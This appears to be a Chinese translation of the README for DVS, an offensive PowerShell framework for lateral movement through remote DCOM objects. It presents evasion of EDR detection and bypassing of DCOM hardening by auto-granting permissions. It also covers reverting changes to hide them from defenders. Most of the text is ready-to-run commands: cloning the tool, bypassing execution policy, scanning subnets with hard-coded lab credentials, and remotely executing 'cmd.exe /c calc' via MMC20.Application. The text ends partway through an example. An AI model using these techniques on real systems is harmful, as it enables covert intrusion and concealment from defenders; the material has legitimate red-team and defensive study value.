你是否曾经思考过如何在内部网络中横向移动?或者如何在不被EDR察觉的情况下与远程机器交互?
假设我们拥有有效凭证,或者有一个可访问远程机器的活跃会话,但我们无法通过已知、预期或高度监控的方法(例如WMI、任务计划程序、WinRM、PowerShell远程处理)远程执行进程。
对于这些场景,DVS框架可以派上用场。
DVS框架是一把瑞士军刀,它允许您枚举远程DCOM对象的脆弱函数、启动它们,甚至使用它们发起攻击。
该框架以“红队”思维开发,采用隐蔽方法攻陷远程机器。
DVS框架包含多种方法,可以通过远程重新启用DCOM访问并自动授予攻击用户所需权限,从而绕过远程DCOM加固。
该框架还可以将远程机器上的更改还原到攻击前的原始状态,从而对防御者隐藏这些更改。
我们的主要见解是,该工具还可以通过一种令人惊叹的技术(请阅读下面的Invoke-RegisterRemoteSchema)使用非脆弱DCOM对象执行命令。
兼容PowerShell 2.0及更高版本
YouTube视频PoC: DVS
此工具仅用于测试和教育目的。不允许将此代码用于任何其他用途。使用风险自负。
作者对此工具的误用不承担任何责任。
使用此工具即表示您接受因使用此工具造成的任何损害均由您自行负责。
Remote-Registry access(MS-RRP)
AutoGrant模式,则检查写入权限;否则,检查读取权限Standard Registry Provider (如果远程注册表被拒绝)
StdRegProv是否可访问AutoGrant模式,则检查写入权限;否则,检查读取权限DVS工具首先通过以下步骤检查主体身份是否有权访问远程机器:
基本操作
SkipRegAuth)
AutoGrant),否则失败adsi/WindowsIdentity功能)是否被授予与DCOM交互的权限(通过远程注册表查询)AutoGrant),否则失败HKLM或HKCU配置单元)Invoke-DCOMObjectScan
Get-ExecutionCommand
Invoke-ExecutionCommand
Invoke-RegisterRemoteSchema
git clone https://github.com/ScorpionesLabs/DVS
powershell -ep bypass
PS> Import-Module .\DVS.psm1
PS> Get-Help Invoke-DCOMObjectScan -Detailed # Get details of the Invoke-DCOMObjectScan command
PS> Get-Help Get-ExecutionCommand -Detailed # Get details of the Get-ExecutionCommand command
PS> Get-Help Invoke-ExecutionCommand -Detailed # Get details of the Invoke-ExecutionCommand command
PS> Get-Help Invoke-RegisterRemoteSchema -Detailed # Get details of the Invoke-RegisterRemoteSchema command
Invoke-DCOMObjectScan 函数允许您通过文件中包含的模式列表或精确函数名称来扫描DCOM对象并查找脆弱函数。
示例:
枚举并扫描从攻击者机器到 DC01 主机的 MMC20.Application (ProgID) 对象,无需查询注册表。
Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipRegAuth -Username "lab\administrator" -Password "Aa123456!" -Verbose
注意: 该工具不会分析ACL权限,当工具成功时,它将解析有关该对象的所有信息,但注册表中提到的详细信息(如对象名称、可执行文件等)除外。
检查 MMC20.Application (ProgID) 对象是否可从攻击者机器访问到 DC01 主机,而无需预先查询和验证DCOM对象的访问列表。
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipPermissionChecks -CheckAccessOnly -Verbose
验证 MMC20.Application (ProgID) 是否适用于 10.211.55.4/24 范围。如果存在,该工具将尝试枚举有关它的信息。(使用当前登录的用户会话。)
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -Hostlist "10.211.55.4/24" -CheckAccessOnly -Verbose
验证通过 10.211.55.4 IP地址的 {00020812-0000-0000-C000-000000000046} CLSID 对象是否存在且可访问。如果存在,该工具将解析有关它的信息。(使用 lab\administrator 凭据。)
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "{00020812-0000-0000-C000-000000000046}" -Hostlist "10.211.55.4" -CheckAccessOnly -Username "lab\administrator" -Password "Aa123456!" -Verbose
扫描存储在指定路径(例如 C:\Users\USERNAME\Desktop\DVS\objects.txt)上的所有对象,通过 10.211.55.4 IP 地址,并使用 lab\administrator 凭据在指定文件(如 vulnerable.txt)中查找函数列表,配置如下:
最大深度: 4
最大结果: 1(每个对象1个结果)
AutoGrant 模式: 如果我们没有访问该对象的权限,或者 DCOM 功能被禁用,则启用 DCOM 功能并对相关 DCOM 对象执行自动授权。
最后,将机器恢复到攻击前的相同状态。
PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type List -ObjectListFile "C:\Users\USERNAME\Desktop\DVS\objects.txt" -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -AutoGrant -Username "lab\administrator" -Password "Aa123456!" -Hostlist "10.211.55.4" -MaxResults 1 -Verbose
扫描来自 10.211.55.1/24 范围的可用远程机器上存储的所有对象,并从选定文件(例如 C:\Users\USERNAME\Desktop\DVS\vulnerable.txt)中的列表中查找潜在脆弱函数,排除选定文件(例如 C:\Users\USERNAME\Desktop\DVS\exclude.txt)中的对象,并跳过同一对象其他路径上同名的属性。
注意: 当存在同名但具有不同偏好(方法/其他属性)或不同深度链的属性时,SkipSameProperyName 标志可能会遗漏脆弱函数。
PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type All -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -ExcludeFileList "C:\Users\USERNAME\Desktop\DVS\exclude.txt" -Hostlist "10.211.55.1/24" -SkipSameProperyName -Verbose
Get-ExecutionCommand 函数允许生成一个PowerShell负载,该负载将与远程DCOM函数交互并使用相关参数执行。
检查主体身份是否被授予通过 10.211.55.4 IP 地址使用 lab\administrator 凭据与 {00020812-0000-0000-C000-000000000046} CLSID 对象交互的权限,然后它将生成执行命令。
PS> Get-ExecutionCommand -ObjectName "{00020812-0000-0000-C000-000000000046}" -ObjectPath "DDEInitiate" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -Verbose
检查DCOM访问权限。
如果主体身份没有必要的权限或DCOM功能被禁用,该工具将启用DCOM功能,授予身份访问权限,并使用 lab\administrator 凭据通过 10.211.55.4 IP地址与 MMC20.Application (ProgID) 对象交互,然后为您生成执行命令。
最后,它将机器恢复到攻击前的相同状态。
PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -AutoGrant -Verbose
尝试使用当前登录会话通过 10.211.55.1/24 范围与 MMC20.Application (ProgID) 对象交互,不分析ACL权限,然后它将生成执行命令。
PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.1/24" -SkipPermissionChecks -Verbose
尝试通过 10.211.55.4 IP地址与 MMC20.Application (ProgID) 对象交互,无需查询注册表。
PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -SkipRegAuth -Verbose
Invoke-ExecutionCommand 函数允许使用登录用户或提供的凭据通过DCOM对象执行命令。
示例:
检查DCOM访问权限。
如果主体身份没有必要的权限或DCOM功能被禁用,该工具将启用DCOM功能,授予访问权限,使用当前登录用户会话通过范围 10.211.55.1/24 与 MMC20.Application (ProgID) 对象交互并执行以下命令:
执行 cmd.exe /c calc 命令
将 Frame.Top 属性设置为 1
最后,将机器恢复到攻击前的相同状态。
PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -AutoGrant -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")},@{ObjectPath="Frame.Top";Arguments=@(1)} ) -HostList "10.211.55.1/24" -Verbose
尝试使用 lab\administrator 凭据通过 10.211.55.4 IP地址与 MMC20.Application (ProgID) 对象交互,并执行以下命令:cmd.exe /c calc。